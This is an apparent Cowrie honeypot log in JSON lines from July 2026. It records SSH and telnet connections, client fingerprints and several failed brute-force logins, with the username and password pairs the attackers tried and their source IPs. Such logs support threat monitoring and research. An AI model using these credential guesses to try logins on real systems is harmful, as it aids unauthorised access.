{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:47.714127Z","src_ip":"192.169.197.250","session":"0867160f2aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:47.780289Z","src_ip":"192.169.197.250","session":"0867160f2aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto","password":"S3cur3$P@ss!W0rd%","message":"login attempt [crypto/S3cur3$P@ss!W0rd%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:47.977041Z","src_ip":"192.169.197.250","session":"0867160f2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:49.044614Z","src_ip":"192.169.197.250","session":"0867160f2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":39346,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf528341ed8","protocol":"ssh","message":"New connection: 162.144.34.123:39346 (159.203.135.109:22) [session: edf528341ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:07.525951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:07.535431Z","src_ip":"162.144.34.123","session":"edf528341ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:07.625554Z","src_ip":"162.144.34.123","session":"edf528341ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"convex2024","message":"login attempt [root/convex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:07.896125Z","src_ip":"162.144.34.123","session":"edf528341ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:08.987536Z","src_ip":"162.144.34.123","session":"edf528341ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":54624,"dst_ip":"159.203.135.109","dst_port":22,"session":"09d0ee03f4f7","protocol":"ssh","message":"New connection: 101.126.22.12:54624 (159.203.135.109:22) [session: 09d0ee03f4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:22.724576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:24.173811Z","src_ip":"101.126.22.12","session":"09d0ee03f4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:24.177437Z","src_ip":"101.126.22.12","session":"09d0ee03f4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54702,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4c1d70fd2ad","protocol":"telnet","message":"New connection: 137.184.5.188:54702 (159.203.135.109:23) [session: a4c1d70fd2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:43.858401Z"}
{"eventid":"cowrie.session.closed","duration":74.60852336883545,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:46.555477Z","src_ip":"170.64.224.25","session":"08ccabe67b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00432705879211,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:49.563878Z","src_ip":"170.64.224.25","session":"043923e62204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":48208,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c88650fed0","protocol":"ssh","message":"New connection: 162.144.213.198:48208 (10.17.0.5:22) [session: 24c88650fed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:51.158623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:51.162414Z","src_ip":"162.144.213.198","session":"24c88650fed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:51.255184Z","src_ip":"162.144.213.198","session":"24c88650fed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doge789","message":"login attempt [root/doge789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:51.524796Z","src_ip":"162.144.213.198","session":"24c88650fed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:20:54.661308Z","src_ip":"162.144.213.198","session":"24c88650fed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded4721f94c0","protocol":"telnet","message":"New connection: 170.64.224.25:54224 (159.203.135.109:23) [session: ded4721f94c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:01.956693Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":35130,"dst_ip":"10.17.0.5","dst_port":22,"session":"416d516efcaa","protocol":"ssh","message":"New connection: 95.130.227.33:35130 (10.17.0.5:22) [session: 416d516efcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:05.633862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:05.637885Z","src_ip":"95.130.227.33","session":"416d516efcaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:05.801893Z","src_ip":"95.130.227.33","session":"416d516efcaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xr123456.","message":"login attempt [root/Xr123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:06.493871Z","src_ip":"95.130.227.33","session":"416d516efcaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:07.661633Z","src_ip":"95.130.227.33","session":"416d516efcaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35870,"dst_ip":"159.203.135.109","dst_port":23,"session":"e114b1bce160","protocol":"telnet","message":"New connection: 170.64.224.25:35870 (159.203.135.109:23) [session: e114b1bce160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:22.353024Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35880,"dst_ip":"159.203.135.109","dst_port":23,"session":"b497787e3941","protocol":"telnet","message":"New connection: 170.64.224.25:35880 (159.203.135.109:23) [session: b497787e3941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:25.605520Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56990,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e0b9c0ddb3","protocol":"telnet","message":"New connection: 107.6.151.170:56990 (159.203.135.109:23) [session: 12e0b9c0ddb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:29.135067Z"}
{"eventid":"cowrie.session.closed","duration":0.004942417144775391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:29.139863Z","src_ip":"107.6.151.170","session":"12e0b9c0ddb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":47060,"dst_ip":"10.17.0.5","dst_port":22,"session":"9384996a8fdf","protocol":"ssh","message":"New connection: 162.144.88.94:47060 (10.17.0.5:22) [session: 9384996a8fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:45.924716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:45.927625Z","src_ip":"162.144.88.94","session":"9384996a8fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:46.019622Z","src_ip":"162.144.88.94","session":"9384996a8fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VRT!S3cur3#P@ss","message":"login attempt [root/VRT!S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:46.288903Z","src_ip":"162.144.88.94","session":"9384996a8fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:21:47.383752Z","src_ip":"162.144.88.94","session":"9384996a8fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46466,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fabb8465696","protocol":"ssh","message":"New connection: 194.59.206.2:46466 (159.203.135.109:22) [session: 6fabb8465696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:01.548564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:01.551927Z","src_ip":"194.59.206.2","session":"6fabb8465696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:01.644033Z","src_ip":"194.59.206.2","session":"6fabb8465696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:01.754933Z","src_ip":"194.59.206.2","session":"6fabb8465696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.500784158706665,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:04.853720Z","src_ip":"170.64.224.25","session":"e114b1bce160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.973456621170044,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:10.578830Z","src_ip":"170.64.224.25","session":"b497787e3941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49300,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5ae9d371ea","protocol":"ssh","message":"New connection: 103.82.20.28:49300 (159.203.135.109:22) [session: 2e5ae9d371ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:13.296828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:13.300448Z","src_ip":"103.82.20.28","session":"2e5ae9d371ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:13.564353Z","src_ip":"103.82.20.28","session":"2e5ae9d371ea","protocol":"ssh"}
